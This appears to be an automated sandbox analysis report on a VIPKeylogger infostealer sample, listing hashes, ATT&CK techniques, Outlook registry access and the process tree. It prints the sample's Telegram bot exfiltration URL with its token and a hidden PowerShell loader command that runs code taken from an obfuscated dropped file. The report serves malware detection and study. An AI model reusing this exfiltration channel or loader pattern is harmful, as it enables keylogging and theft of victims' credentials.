vipkeylogger | 65923434a772e80f32b56fbddf49f5ceef3f536611c7a3f7c610c231ba59d27f

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-12-2024 16:04

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General

Target

Transferencia4317370002017852.exe
Size

553KB
MD5

99e39c4f2f22df9a099e7fc6b374dcf4
SHA1

be78ffa0116195b071a9b627f8758b05c9e1233c
SHA256

65923434a772e80f32b56fbddf49f5ceef3f536611c7a3f7c610c231ba59d27f
SHA512

85c8c70e40855ce42358c13cfead8700c0f1b269661b7164081b2ccf6c2f47a09bda94bcb9e71efab49616b4c2607b62d7d019ee7c59ef8fe707525234ceac43
SSDEEP

12288:v93jlfVEb2p27gyIV9h5cKVLK1Svks2Fjz4hzaVtIXPLcD:v93jl9XAgyID3xL2SvJajzizTcD

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot7884953123:AAF1UbV49cF9gYVrnfCw9g9ZbVXhB325bSM/sendMessage?chat_id=5234817354

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
456	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
2304	Transferencia4317370002017852.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
15	1028	msiexec.exe
17	1028	msiexec.exe
19	1028	msiexec.exe
21	1028	msiexec.exe
25	1028	msiexec.exe
32	1028	msiexec.exe
36	1028	msiexec.exe
39	1028	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
14	drive.google.com
15	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
31	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1028	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
456	powershell.exe
1028	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\udlndingelovene\troldunge.ini	Transferencia4317370002017852.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Transferencia4317370002017852.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
456	powershell.exe
456	powershell.exe
456	powershell.exe
456	powershell.exe
456	powershell.exe
456	powershell.exe
456	powershell.exe
1028	msiexec.exe
1028	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
456	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	456	powershell.exe
Token: SeIncreaseQuotaPrivilege	456	powershell.exe
Token: SeSecurityPrivilege	456	powershell.exe
Token: SeTakeOwnershipPrivilege	456	powershell.exe
Token: SeLoadDriverPrivilege	456	powershell.exe
Token: SeSystemProfilePrivilege	456	powershell.exe
Token: SeSystemtimePrivilege	456	powershell.exe
Token: SeProfSingleProcessPrivilege	456	powershell.exe
Token: SeIncBasePriorityPrivilege	456	powershell.exe
Token: SeCreatePagefilePrivilege	456	powershell.exe
Token: SeBackupPrivilege	456	powershell.exe
Token: SeRestorePrivilege	456	powershell.exe
Token: SeShutdownPrivilege	456	powershell.exe
Token: SeDebugPrivilege	456	powershell.exe
Token: SeSystemEnvironmentPrivilege	456	powershell.exe
Token: SeRemoteShutdownPrivilege	456	powershell.exe
Token: SeUndockPrivilege	456	powershell.exe
Token: SeManageVolumePrivilege	456	powershell.exe
Token: 33	456	powershell.exe
Token: 34	456	powershell.exe
Token: 35	456	powershell.exe
Token: 36	456	powershell.exe
Token: SeDebugPrivilege	1028	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 456	2304	Transferencia4317370002017852.exe	82
PID 2304 wrote to memory of 456	2304	Transferencia4317370002017852.exe	82
PID 2304 wrote to memory of 456	2304	Transferencia4317370002017852.exe	82
PID 456 wrote to memory of 1028	456	powershell.exe	89
PID 456 wrote to memory of 1028	456	powershell.exe	89
PID 456 wrote to memory of 1028	456	powershell.exe	89
PID 456 wrote to memory of 1028	456	powershell.exe	89

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\Transferencia4317370002017852.exe
"C:\Users\Admin\AppData\Local\Temp\Transferencia4317370002017852.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Eksplosionsrisiko=gc -raw 'C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Atamasco\Realkommentarerne.Abs';$Zootechnician=$Eksplosionsrisiko.SubString(23684,3);.$Zootechnician($Eksplosionsrisiko) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:456
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:1028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\justifikationssager.lnk

Filesize
806B

MD5
7b3eb7a3f8307cb150bae7eaa00d3765

SHA1
5844328c2f612ced49d6b0d07c5a2196908a55ab

SHA256
a701a3ea9b5c21f2858d05fd6ae11441c987fbc8af5599741c5bbd692d465b45

SHA512
6451f987f3a3e95ffd0b049ea31e3bc76db635eae855b1f6d1a18f40d335628df9933c43cfbaf4580d538a0c070df59d8a8f8889a654238db32b31c9913c402a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lbqdwtwz.uvf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsgA3A4.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Atamasco\Preconcealment.Ror

Filesize
321KB

MD5
d560ccd6e95851a792f2d32ed5637221

SHA1
ce8b7215e27b4424ad469e53be04a41ea19f14d1

SHA256
8b3df005a933f6cfc86831c708327d136121d25fb73a27a162633a0d5de99bbb

SHA512
9ced5f0900351c2e1e15f2d431c456396d3d2f5d717d16a9c8c88266fbe0f82c6f6b6e762bdf710d88948bbf075b9ac3052235001fb6ebc8df9aeaa5dad656f3

Download Submit
C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Atamasco\Realkommentarerne.Abs

Filesize
68KB

MD5
d9ce1d759d2e8340c4840d7f72e850ce

SHA1
dcda40a56468925c2f6be95d0fdd2d5229346cce

SHA256
ade3b192c67fcdcb89e60fb255b584b8489e7fa46c722c67ebb24ce4ac7207ad

SHA512
6ce5f42053c654385a81ead7447ad6a1abaa2b3509145ff8b5d84d124a5342535c18be6d8f2ba8d5b2a0cb2dda2aba2bb58c09655abadd4b4a28ee36b9fb5b4b

Download Submit
memory/456-35-0x00000000747CE000-0x00000000747CF000-memory.dmp

Filesize
4KB

Download
memory/456-36-0x0000000005310000-0x0000000005346000-memory.dmp

Filesize
216KB

Download
memory/456-37-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/456-38-0x0000000005B40000-0x0000000006168000-memory.dmp

Filesize
6.2MB

Download
memory/456-39-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/456-41-0x00000000061E0000-0x0000000006246000-memory.dmp

Filesize
408KB

Download
memory/456-40-0x0000000005AF0000-0x0000000005B12000-memory.dmp

Filesize
136KB

Download
memory/456-42-0x0000000006250000-0x00000000062B6000-memory.dmp

Filesize
408KB

Download
memory/456-43-0x00000000062C0000-0x0000000006614000-memory.dmp

Filesize
3.3MB

Download
memory/456-53-0x00000000068B0000-0x00000000068CE000-memory.dmp

Filesize
120KB

Download
memory/456-54-0x00000000068E0000-0x000000000692C000-memory.dmp

Filesize
304KB

Download
memory/456-55-0x0000000007960000-0x00000000079F6000-memory.dmp

Filesize
600KB

Download
memory/456-56-0x0000000006DB0000-0x0000000006DCA000-memory.dmp

Filesize
104KB

Download
memory/456-57-0x0000000006E00000-0x0000000006E22000-memory.dmp

Filesize
136KB

Download
memory/456-58-0x0000000007FB0000-0x0000000008554000-memory.dmp

Filesize
5.6MB

Download
memory/456-60-0x0000000008BE0000-0x000000000925A000-memory.dmp

Filesize
6.5MB

Download
memory/456-62-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/456-61-0x0000000007AC0000-0x0000000007AF2000-memory.dmp

Filesize
200KB

Download
memory/456-63-0x00000000705E0000-0x000000007062C000-memory.dmp

Filesize
304KB

Download
memory/456-73-0x0000000007AA0000-0x0000000007ABE000-memory.dmp

Filesize
120KB

Download
memory/456-74-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/456-75-0x0000000007D10000-0x0000000007DB3000-memory.dmp

Filesize
652KB

Download
memory/456-76-0x0000000007E30000-0x0000000007E3A000-memory.dmp

Filesize
40KB

Download
memory/456-77-0x0000000007F90000-0x0000000007FA1000-memory.dmp

Filesize
68KB

Download
memory/456-78-0x0000000008590000-0x000000000859E000-memory.dmp

Filesize
56KB

Download
memory/456-79-0x00000000085A0000-0x00000000085B4000-memory.dmp

Filesize
80KB

Download
memory/456-80-0x00000000085E0000-0x00000000085FA000-memory.dmp

Filesize
104KB

Download
memory/456-81-0x00000000085D0000-0x00000000085D8000-memory.dmp

Filesize
32KB

Download
memory/456-82-0x0000000008630000-0x000000000865A000-memory.dmp

Filesize
168KB

Download
memory/456-83-0x0000000008660000-0x0000000008684000-memory.dmp

Filesize
144KB

Download
memory/456-84-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/456-85-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/456-89-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/456-88-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/456-87-0x00000000747CE000-0x00000000747CF000-memory.dmp

Filesize
4KB

Download
memory/456-90-0x0000000009260000-0x000000000A263000-memory.dmp

Filesize
16.0MB

Download
memory/456-91-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/456-92-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/456-93-0x00000000771E1000-0x0000000077301000-memory.dmp

Filesize
1.1MB

Download
memory/1028-106-0x0000000000DF0000-0x0000000002044000-memory.dmp

Filesize
18.3MB

Download
memory/1028-107-0x0000000000DF0000-0x0000000000E3A000-memory.dmp

Filesize
296KB

Download
memory/1028-108-0x0000000020CD0000-0x0000000020D6C000-memory.dmp

Filesize
624KB

Download
memory/1028-110-0x0000000021A00000-0x0000000021BC2000-memory.dmp

Filesize
1.8MB

Download
memory/1028-111-0x0000000021170000-0x00000000211C0000-memory.dmp

Filesize
320KB

Download
memory/1028-112-0x0000000022100000-0x000000002262C000-memory.dmp

Filesize
5.2MB

Download
memory/1028-115-0x00000000218D0000-0x0000000021962000-memory.dmp

Filesize
584KB

Download
memory/1028-116-0x000000001E7B0000-0x000000001E7BA000-memory.dmp

Filesize
40KB

Download